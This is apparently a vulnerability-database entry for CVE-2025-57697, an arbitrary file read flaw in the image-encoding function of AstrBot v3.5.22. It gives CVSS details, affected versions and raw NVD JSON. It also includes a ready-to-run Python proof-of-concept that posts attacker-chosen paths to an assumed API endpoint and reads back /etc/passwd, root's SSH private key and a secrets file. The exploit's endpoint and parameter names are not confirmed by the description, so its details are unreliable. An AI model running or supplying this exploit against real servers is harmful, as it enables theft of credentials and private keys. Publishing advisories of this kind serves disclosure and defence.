Security Vulnerability Report
中文
CVE-2025-57697 CVSS 6.5 MEDIUM

CVE-2025-57697

Published: 2025-11-07 18:15:36
Last Modified: 2025-12-05 20:42:56

Description

AstrBot Project v3.5.22 has an arbitrary file read vulnerability in function _encode_image_bs64. Since the _encode_image_bs64 function defined in entities.py opens the image specified by the user in the request body and returns the image content as a base64-encoded string without checking the legitimacy of the image path, attackers can construct a series of malicious URLs to read any specified file, resulting in sensitive data leakage.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:astrbot:astrbot:3.5.22:*:*:*:*:*:*:* - VULNERABLE
AstrBot Project v3.5.22及之前版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import base64 # CVE-2025-57697 PoC - Arbitrary File Read in AstrBot Project v3.5.22 # Target: AstrBot Project with vulnerable _encode_image_bs64 function def exploit_file_read(target_url, file_path): """ Exploit the arbitrary file read vulnerability Args: target_url: Base URL of the vulnerable AstrBot instance file_path: Path to the file to read (e.g., /etc/passwd) Returns: Base64 encoded file content """ # Construct the vulnerable endpoint endpoint = f"{target_url}/api/encode_image" # Prepare the malicious payload with arbitrary file path payload = { "image_path": file_path # No validation, can be any file path } try: # Send the malicious request response = requests.post(endpoint, json=payload, timeout=10) if response.status_code == 200: # Decode the base64 response to get file content encoded_data = response.json().get("image_data") if encoded_data: file_content = base64.b64decode(encoded_data) return file_content.decode('utf-8', errors='ignore') else: return f"Request failed with status: {response.status_code}" except Exception as e: return f"Error: {str(e)}" # Example usage if __name__ == "__main__": target = "http://target-astronbot-server.com" # Read sensitive files files_to_read = [ "/etc/passwd", "/root/.ssh/id_rsa", "/app/config/secrets.yaml" ] for file_path in files_to_read: print(f"[*] Reading: {file_path}") content = exploit_file_read(target, file_path) print(content) print("-" * 50)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-57697", "sourceIdentifier": "[email protected]", "published": "2025-11-07T18:15:36.200", "lastModified": "2025-12-05T20:42:56.480", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "AstrBot Project v3.5.22 has an arbitrary file read vulnerability in function _encode_image_bs64. Since the _encode_image_bs64 function defined in entities.py opens the image specified by the user in the request body and returns the image content as a base64-encoded string without checking the legitimacy of the image path, attackers can construct a series of malicious URLs to read any specified file, resulting in sensitive data leakage."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:astrbot:astrbot:3.5.22:*:*:*:*:*:*:*", "matchCriteriaId": "45EBB6A4-063B-4FD6-8C41-321E680DA709"}]}]}], "references": [{"url": "https://github.com/DYX217/vulnerability-explore/blob/main/1/README.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}